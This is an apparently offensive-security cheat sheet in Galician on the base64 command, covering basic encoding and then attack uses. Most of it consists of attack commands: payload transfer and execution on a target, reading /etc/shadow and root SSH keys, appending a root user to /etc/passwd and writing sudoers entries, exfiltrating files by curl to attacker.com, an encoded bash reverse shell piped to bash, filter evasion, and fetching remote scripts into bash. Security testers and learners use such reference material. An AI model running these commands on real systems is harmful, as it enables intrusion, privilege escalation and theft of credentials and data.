base64 - Codificación e Decodificación Base64
Descrición
Comando para codificar e decodificar datos en formato Base64. Útil para transferir ficheiros binarios como texto, ofuscar payloads e evadir restriccións de transferencia.
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
-d |
Decodificar base64 a formato orixinal |
-w <num> |
Especificar ancho de liña (0 = sen saltos) |
-i |
Ignorar caracteres non-alfabeto |
Exemplos de uso
Codificación básica
# Codificar texto
echo "Hello World" | base64
# SGVsbG8gV29ybGQK
# Codificar ficheiro
base64 ficheiro.txt
# Codificar ficheiro a outro ficheiro
base64 ficheiro.txt > ficheiro_b64.txt
# Codificar sen saltos de liña (nunha soa liña)
base64 -w0 ficheiro.txt
cat ficheiro.txt | base64 -w0
Decodificación básica
# Decodificar texto
echo "SGVsbG8gV29ybGQK" | base64 -d
# Hello World
# Decodificar ficheiro
base64 -d ficheiro_b64.txt
# Decodificar e gardar
base64 -d ficheiro_b64.txt > ficheiro_orixinal.txt
# Decodificar string directamente
echo "dGVzdA==" | base64 -d
Uso en transferencia de ficheiros
Transferir executables/binarios
# Na máquina atacante:
# 1. Codificar payload
base64 -w0 payload.exe > payload_b64.txt
cat payload_b64.txt
# 2. Copiar o texto base64
# Na máquina obxectivo:
# 3. Pegar e decodificar
echo "BASE64_STRING_AQUI" | base64 -d > payload.exe
chmod +x payload.exe
./payload.exe
Transferir scripts
# Atacante: Codificar script
base64 -w0 linpeas.sh > linpeas_b64.txt
# Obxectivo: Decodificar e executar
echo "BASE64_ENCODED_SCRIPT" | base64 -d > linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# Ou executar directamente sen gardar
echo "BASE64_ENCODED_SCRIPT" | base64 -d | bash
Transferir chaves SSH
# Codificar chave privada
base64 -w0 ~/.ssh/id_rsa
# Decodificar no obxectivo
echo "BASE64_KEY" | base64 -d > /tmp/id_rsa
chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa user@host
Uso en escalada de privilexios
Ler ficheiros codificados en base64
# Ler /etc/shadow como root usando base64
base64 /etc/shadow
# Ou se hai un binario con SUID
/usr/bin/base64 /etc/shadow | base64 -d
# Ler chaves SSH privadas
base64 /root/.ssh/id_rsa | base64 -d
Escribir ficheiros usando base64
# Crear ficheiro /etc/sudoers.d/user (exemplo)
echo "dXNlciBBTEw9KEFMTCkgTk9QQVNTV0Q6QUxMCg==" | base64 -d > /etc/sudoers.d/user
# Engadir usuario a /etc/passwd
echo "hacker:x:0:0:root:/root:/bin/bash" | base64
# Copiar resultado e decodificar
echo "BASE64_RESULT" | base64 -d >> /etc/passwd
Exfiltrar datos
# Exfiltrar datos codificados
base64 -w0 /etc/passwd
base64 -w0 /etc/shadow
# Enviar por DNS, HTTP headers, etc.
curl -H "Data: $(base64 -w0 sensitive.txt)" http://attacker.com/
Ofuscación de payloads
Ofuscar comandos
# Codificar comando malicioso
echo "bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1" | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC9JUF9BVEFQQU5URS80NDQ0IDA+JjEK
# Executar comando codificado
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9JUF9BVEFQQU5URS80NDQ0IDA+JjEK" | base64 -d | bash
# Ofuscar script completo
base64 -w0 malicious.sh > encoded.txt
# No obxectivo:
cat encoded.txt | base64 -d | bash
Evadir filtros
# Se comandos están bloqueados, codificalos
# Exemplo: "cat /etc/passwd" bloqueado
echo "cat /etc/passwd" | base64
# Y2F0IC9ldGMvcGFzc3dkCg==
# Executar
echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | sh
Combinación con outras técnicas
Base64 + wget/curl
# Descargar e executar script codificado
curl http://attacker.com/script.b64 | base64 -d | bash
# Descargar payload codificado
wget -O - http://attacker.com/payload.b64 | base64 -d > payload
chmod +x payload
Base64 + Python
# Python script para transferir ficheiro
import base64
# Codificar
with open('payload.exe', 'rb') as f:
encoded = base64.b64encode(f.read())
print(encoded.decode())
# Decodificar
import base64
encoded = "BASE64_STRING"
with open('payload.exe', 'wb') as f:
f.write(base64.b64decode(encoded))
Base64 + PowerShell (Windows)
# Codificar en Linux
base64 -w0 payload.exe
# Decodificar en Windows
$data = "BASE64_STRING"
[System.IO.File]::WriteAllBytes("C:\temp\payload.exe", [System.Convert]::FromBase64String($data))
Detección de base64
# Buscar strings base64 en ficheiros
grep -r "^[A-Za-z0-9+/]\{20,\}=\{0,2\}$" /var/www/
# Decodificar automáticamente resultados sospeitosos
cat suspicious.txt | base64 -d
Casos de uso específicos
Transferir múltiples ficheiros
# Crear tar e codificar
tar -czf files.tar.gz ficheiro1 ficheiro2 ficheiro3
base64 -w0 files.tar.gz
# Decodificar e extraer
echo "BASE64_TAR" | base64 -d > files.tar.gz
tar -xzf files.tar.gz
Credenciais en base64
# Moitas aplicacións gardan credenciais en base64
cat config.xml | grep password
# <password>cGFzc3dvcmQxMjM=</password>
# Decodificar
echo "cGFzc3dvcmQxMjM=" | base64 -d
# password123
Basic Authentication HTTP
# Crear header Basic Auth
echo -n "user:password" | base64
# dXNlcjpwYXNzd29yZA==
# Usar en curl
curl -H "Authorization: Basic dXNlcjpwYXNzd29yZA==" http://target.com/
# Decodificar header atopado
echo "dXNlcjpwYXNzd29yZA==" | base64 -d
# user:password
Notas adicionais
- Base64 non é cifrado, só codificación
- Aumenta o tamaño do ficheiro ~33%
-w0é importante para copiar/pegar (evita saltos de liña)- Útil para transferir ficheiros binarios mediante texto (clipboard, HTTP headers, etc.)
- Moitas aplicacións usan base64 para "ofuscar" contrasinais (moi inseguro)
- Sempre verificar strings en base64 durante enumeración
- En Windows:
certutil -decode file.b64 file.exe(alternativa) - Combinar con
xxdpara hexdump:base64 -d file.b64 | xxd - Podes encadear múltiples codificacións:
echo "text" | base64 | base64 - Útil para evadir regex ou filtros básicos de seguridade